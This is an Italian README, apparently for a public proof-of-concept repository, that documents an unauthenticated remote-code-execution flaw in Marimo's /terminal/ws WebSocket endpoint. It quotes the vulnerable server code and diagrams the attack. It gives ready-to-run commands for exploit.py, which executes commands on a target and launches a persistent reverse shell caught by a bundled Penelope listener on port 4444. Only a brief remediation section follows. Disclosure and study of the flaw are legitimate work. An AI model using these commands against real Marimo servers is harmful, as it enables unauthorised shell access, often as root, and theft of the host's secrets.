
Exploit di Marimo precedente alla 0.23.0. Vulnerabilità Pre-Auth RCE tramite endpoint websocket: /terminal/ws.
/terminal/ws)CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE : CWE-306 (Missing Authentication for Critical Function)
Fix : Marimo 0.23.0+
Affects : Marimo <= 0.20.4 (all builds prior to the auth fix)
Esecuzione remota di codice pre-autenticata in Marimo, un server notebook Python reattivo.
Una singola connessione WebSocket non autenticata a /terminal/ws produce una shell PTY interattiva completa come utente che esegue il processo Marimo (spesso root in Docker).
Solo laboratorio / test autorizzati (HTB, CTF, engagement con scope scritto).
Marimo espone un terminale integrato tramite WebSocket all'indirizzo:
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws
Le altre route WebSocket (in particolare /ws per l'interfaccia del notebook) chiamano correttamente validate_auth().
/terminal/ws non lo fa. Controlla solo:
poi immediatamente:
await websocket.accept()
child_pid, fd = pty.fork() # full system shell
Non è richiesto alcun cookie, token, password o header Authorization — anche quando l'autenticazione è abilitata sull'istanza.
Impatto: esecuzione non autenticata di comandi arbitrari con i privilegi del processo Marimo. Nelle immagini container predefinite si tratta spesso di root.
File (albero vulnerabile): marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# <<< no validate_auth() / @requires("edit") >>>
await websocket.accept()
child_pid, fd = pty.fork()
# ... bridge WebSocket <-> PTY ...
Confronta con il WebSocket del notebook (ws_endpoint.py), che invece applica l'autenticazione:
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
return
Attacker Marimo (edit mode)
| |
| WS upgrade /terminal/ws |
|----------------------------------->|
| 101 Switching Protocols |
| (no auth challenge) |
|<-----------------------------------|
| | pty.fork() → /bin/bash
| "id\n" |
|----------------------------------->|
| uid=1000(marimo) ... |
|<-----------------------------------|
| persistent reverse shell |
|----------------------------------->|
| <======== TCP shell =======|
ws(s)://target/terminal/ws senza credenziali| Stato | Versioni |
|---|---|
| Vulnerabile | Marimo <= 0.20.4 (pre-fix) |
| Corretto | Marimo 0.23.0 e successive |
Qualsiasi distribuzione che espone il WebSocket del terminale (modalità edit, PTY supportato) senza un gateway di autenticazione esterno è in scope.
| File | Ruolo |
|---|---|
exploit.py | PoC: esecuzione comandi + reverse shell persistente + launcher Penelope |
penelope.py | Handler shell standalone (brightio/penelope) |
README.md | Questo file |
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py
penelope.py non richiede nessuna dipendenza aggiuntiva (libreria standard Python 3.6+).
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"
Cosa succede:
/terminal/ws0.0.0.0:4444python3 exploit.py -h
Penelope è incluso come script standalone (penelope.py):
Flusso predefinito (-p):
exploit.py
├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
│
└── exec ► penelope.py <PORT> -i 0.0.0.0
▲
│ TCP callback
└── victim
Il processo figlio viene usato appositamente: os.execv(penelope) sostituisce l'immagine del processo padre, il che ucciderebbe un thread in background.
Penelope manuale:
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a # show sample payloads for active listeners
pip install -U marimo).env, chiavi SSH), controllare le connessioni in uscita e la persistenzaQuesto progetto è destinato esclusivamente a test di sicurezza autorizzati, istruzione e ricerca difensiva.
Sei responsabile del rispetto delle leggi applicabili e delle regole di ingaggio del tuo laboratorio o cliente.